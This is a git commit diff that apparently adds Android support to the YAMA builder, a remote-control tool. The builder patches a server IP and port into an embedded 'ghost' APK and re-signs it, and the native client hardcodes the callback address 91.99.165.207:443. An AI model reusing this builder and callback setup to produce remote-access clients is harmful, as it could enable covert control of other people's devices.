Feat: Client build dialog support building Android application

This commit is contained in:
yuanyuanxiang
2026-06-25 13:27:15 +02:00
parent 5296e534ed
commit d7408ad4df
12 changed files with 156 additions and 7 deletions

View File

@@ -60,6 +60,13 @@ android {
}
}
packagingOptions {
jniLibs {
// .so 文件不压缩ZIP_STORED使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST
useLegacyPackaging false
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_17
targetCompatibility JavaVersion.VERSION_17

View File

@@ -8,6 +8,7 @@
<application
android:allowBackup="false"
android:extractNativeLibs="false"
android:icon="@mipmap/ic_launcher"
android:roundIcon="@mipmap/ic_launcher_round"
android:label="YAMA"

View File

@@ -183,6 +183,10 @@ static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
return !pubIp.empty();
}
// 服务端通过 FLAG_GHOST"Hello, World!"定位此变量patch szServerIP/szPort 后重签 APK
// 偏移szServerIP at +32, szPort at +132见 commands.h CONNECT_ADDRESS 定义)
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID };
// ---- 全局状态 ----
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile
@@ -716,8 +720,8 @@ Java_com_yama_client_YamaBridge_nativeInit(
return s;
};
g_serverIp = toStr(serverIp);
g_serverPort = (int)serverPort;
g_serverIp = g_SETTINGS.ServerIP();
g_serverPort = g_SETTINGS.ServerPort();
g_androidId = toStr(androidId);
g_deviceModel = toStr(deviceModel);
g_androidVersion = toStr(androidVersion);

BIN
android/ghost.apk Normal file

Binary file not shown.

112
android/sign_apk.bat Normal file
View File

@@ -0,0 +1,112 @@
@echo off
:: sign_apk.bat - Sign a YAMA APK with the release keystore
:: Usage: sign_apk.bat <apk-path>
setlocal
if "%~1"=="" (
echo Usage: sign_apk.bat ^<apk-path^>
exit /b 1
)
set "APK=%~f1"
if not exist "%APK%" (
echo ERROR: APK not found: %APK%
exit /b 1
)
set "KEYSTORE=%~dp0yama-release.jks"
if not exist "%KEYSTORE%" (
echo ERROR: Keystore not found: %KEYSTORE%
exit /b 1
)
:: --- Locate java.exe ---
set "JAVA_EXE="
where java >nul 2>&1
if not errorlevel 1 set "JAVA_EXE=java"
if not defined JAVA_EXE if defined JAVA_HOME (
if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE (
echo ERROR: java.exe not found. Install JDK or Android Studio.
exit /b 1
)
:: --- Locate Android SDK ---
set "SDK_DIR="
if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%"
if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%"
if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk"
if not defined SDK_DIR (
echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT.
exit /b 1
)
:: --- Find latest apksigner.jar (ascending sort, last match = newest) ---
set "SIGNER_JAR="
set "BT_VER="
for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do (
if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar"
set "BT_VER=%%D"
)
if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar"
set "BT_VER=%%D"
)
)
if not defined SIGNER_JAR (
echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools
exit /b 1
)
echo.
echo APK : %APK%
echo Keystore: %KEYSTORE%
echo Java : %JAVA_EXE%
echo JAR : %SIGNER_JAR% [build-tools %BT_VER%]
echo.
set "PWD=%YAMA_PWD%"
if not defined PWD set /p "PWD=Keystore password: "
if not defined PWD (
echo ERROR: No password provided.
exit /b 1
)
echo.
echo Signing...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%"
if errorlevel 1 (
echo ERROR: Signing failed.
exit /b 1
)
echo Verifying...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%"
if errorlevel 1 (
echo ERROR: Verification failed.
exit /b 1
)
echo.
echo Done: %APK%
endlocal

Binary file not shown.

View File

@@ -234,6 +234,7 @@
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<None Include="..\..\android\ghost.apk" />
<None Include="..\..\linux\ghost" />
<None Include="..\..\macos\ghost" />
<None Include="..\..\Release\ghost.exe" />

View File

@@ -228,6 +228,7 @@
<None Include="..\..\linux\ghost" />
<None Include="res\3rd\TerminalModule_x64.dll" />
<None Include="..\..\macos\ghost" />
<None Include="..\..\android\ghost.apk" />
</ItemGroup>
<ItemGroup>
<Filter Include="file">

View File

@@ -29,6 +29,7 @@ enum Index {
IndexTestRunMsc,
IndexLinuxGhost,
IndexMacGhost,
IndexAndroidGhost,
OTHER_ITEM
};
@@ -160,7 +161,8 @@ namespace ResFileName {
const char* GHOST_X86 = "ghost_x86.exe";
const char* GHOST_X64 = "ghost_x64.exe";
const char* GHOST_LINUX = "ghost_linux";
const char* GHOST_MACOS = "ghost_macos"; // 预留
const char* GHOST_MACOS = "ghost_macos";
const char* GHOST_ANDROID = "ghost_android";
// TestRun 加载器
const char* TESTRUN_X86 = "testrun_x86.dll";
const char* TESTRUN_X64 = "testrun_x64.dll";
@@ -418,7 +420,7 @@ void CBuildDlg::OnBnClickedOk()
MessageBoxL("Shellcode 只能向64位电脑注入注入器也只能是64位!", "提示", MB_ICONWARNING);
return;
}
if (index == IndexLinuxGhost || index == IndexMacGhost) {
if (index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost) {
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_SliderClientSize.SetPos(0);
}
@@ -485,6 +487,12 @@ void CBuildDlg::OnBnClickedOk()
typ = CLIENT_TYPE_MACOS;
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
break;
case IndexAndroidGhost: {
file = "ghost.apk";
typ = CLIENT_TYPE_ANDROID;
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
break;
}
case OTHER_ITEM: {
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
m_OtherItem.GetWindowTextA(file);
@@ -719,6 +727,14 @@ void CBuildDlg::OnBnClickedOk()
successMsg += "\r\n";
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
}
// Android APK 被 patch 后签名失效,必须用 apksigner 重签才能安装。
if (typ == CLIENT_TYPE_ANDROID) {
successMsg += "\r\n\r\n";
successMsg += _TR("提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。");
successMsg += "\r\n";
successMsg += _TR("重签命令 (需 Android SDK build-tools):");
successMsg += "\r\napksigner sign --ks yama-release.jks --ks-pass env:YAMA_PWD ghost.apk";
}
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(szBuffer);
@@ -784,6 +800,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
@@ -912,7 +929,7 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
void CBuildDlg::OnCbnSelchangeComboExe()
{
auto n = m_ComboExe.GetCurSel();
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost));
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
if (n == OTHER_ITEM) {
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
if (!name.IsEmpty()) {

View File

@@ -1943,3 +1943,5 @@ FRPC Զ
输入无效=Invalid Input
授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。=Sub-license limit for %s has been set to %d.\nTakes effect when the sub-client re-authenticates.
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=Sub-license limit for %s has been cleared.\nTakes effect when the sub-client re-authenticates.
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=Note: APK has been patched and the original signature is invalid. Re-sign before installing.
重签命令 (需 Android SDK build-tools):=Re-sign command (requires Android SDK build-tools):

View File

@@ -1934,3 +1934,5 @@ FRPC Զ
输入无效=输入无效
授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。=授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=授权 %s 的下级数量限制已清除。\n下级重新认证后生效。
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=提示: APK 已被修改,原簽名失效,需要重簽後才能安裝到裝置。
重签命令 (需 Android SDK build-tools):=重簽命令 (需 Android SDK build-tools):

View File

@@ -269,6 +269,8 @@
#define IDB_BITMAP_COPY 389
#define IDB_BITMAP10 390
#define IDB_BITMAP_ACTIVE_WND 390
#define IDR_BINARY8 391
#define IDR_ANDROID_GHOST 391
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -991,7 +993,6 @@
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
#define ID_LICENSE_AUTO_FRP 33051
#define ID_LICENSE_REVOKE_FRP 33052
#define ID_LICENSE_SET_LIMIT 33068
#define ID_Menu 33053
#define ID_33054 33054
#define ID_MENU_COMPRESS 33055
@@ -1007,13 +1008,14 @@
#define ID_WLIST_VIEW 33065
#define ID_ONLINE_33066 33066
#define ID_ONLINE_ACTIVE_WND 33067
#define ID_LICENSE_SET_LIMIT 33068
#define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 391
#define _APS_NEXT_RESOURCE_VALUE 392
#define _APS_NEXT_COMMAND_VALUE 33069
#define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105